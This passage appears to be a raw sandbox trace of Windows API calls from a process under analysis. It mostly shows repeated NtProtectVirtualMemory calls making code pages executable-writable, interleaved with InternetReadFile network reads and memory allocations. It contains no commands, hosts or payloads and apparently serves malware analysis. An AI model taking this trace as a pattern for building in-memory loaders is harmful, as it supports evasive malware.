dwFreeType=0x8000) returned 1 [0145.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.533] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.533] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.534] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0145.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.536] VirtualAlloc (lpAddress=0x1f480000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f480000 [0145.538] VirtualFree (lpAddress=0x1f640000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0145.538] VirtualAlloc (lpAddress=0x1eea0000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x1eea0000 [0145.538] VirtualAlloc (lpAddress=0x1eea0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eea0000 [0145.540] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0xb678) returned 1 [0145.540] VirtualAlloc (lpAddress=0x1eeb0000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eeb0000 [0145.541] VirtualFree (lpAddress=0x1f480000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0145.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.545] VirtualFree (lpAddress=0x1f480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.552] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.553] VirtualAlloc (lpAddress=0x0, dwSize=0x2e0000, flAllocationType=0x2000, flProtect=0x1) returned 0x1efa0000 [0145.553] VirtualAlloc (lpAddress=0x1efa0000, dwSize=0x1f8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1efa0000 [0145.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.560] VirtualAlloc (lpAddress=0x1eebc000, dwSize=0xe4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eebc000 [0145.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.599] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.600] VirtualFree (lpAddress=0x1eea0000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0145.600] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x2c0000, dwFreeType=0x4000) returned 1 [0145.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.622] VirtualFree (lpAddress=0x1ebe0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0145.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.632] VirtualAlloc (lpAddress=0x1f198000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f198000 [0145.633] VirtualFree (lpAddress=0x1f194000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.634] VirtualFree (lpAddress=0x1eeac000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0145.635] VirtualAlloc (lpAddress=0x1f198000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.635] VirtualAlloc (lpAddress=0x1f198000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.635] VirtualAlloc (lpAddress=0x1f194000, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.635] VirtualAlloc (lpAddress=0x1f194000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x0 [0145.635] VirtualAlloc (lpAddress=0x0, dwSize=0x2f0000, flAllocationType=0x2000, flProtect=0x1) returned 0x1f280000 [0145.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.639] VirtualAlloc (lpAddress=0x1f280000, dwSize=0x218000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f280000 [0145.647] VirtualAlloc (lpAddress=0x1f1ac000, dwSize=0xd4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f1ac000 [0145.650] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.690] VirtualFree (lpAddress=0x1efa0000, dwSize=0x1f4000, dwFreeType=0x4000) returned 1 [0145.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.703] VirtualFree (lpAddress=0x1eeb8000, dwSize=0xe8000, dwFreeType=0x4000) returned 1 [0145.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.708] VirtualFree (lpAddress=0x1eea0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0145.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.713] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0145.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.720] VirtualAlloc (lpAddress=0x1efa0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1efa0000 [0145.721] VirtualFree (lpAddress=0x1f494000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.722] VirtualFree (lpAddress=0x1f198000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0145.723] VirtualAlloc (lpAddress=0x1f494000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f494000 [0145.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.724] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0145.725] VirtualAlloc (lpAddress=0x1efb4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1efb4000 [0145.726] VirtualFree (lpAddress=0x1efa0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0145.727] VirtualAlloc (lpAddress=0x1f4a4000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f4a4000 [0145.727] VirtualFree (lpAddress=0x1efc4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0145.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x1afc) returned 1 [0145.728] VirtualFree (lpAddress=0x1efb0000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0145.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.735] VirtualAlloc (lpAddress=0x0, dwSize=0x310000, flAllocationType=0x2000, flProtect=0x1) returned 0x1ebe0000 [0145.735] VirtualAlloc (lpAddress=0x1ebe0000, dwSize=0x30c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ebe0000 [0145.746] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0145.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 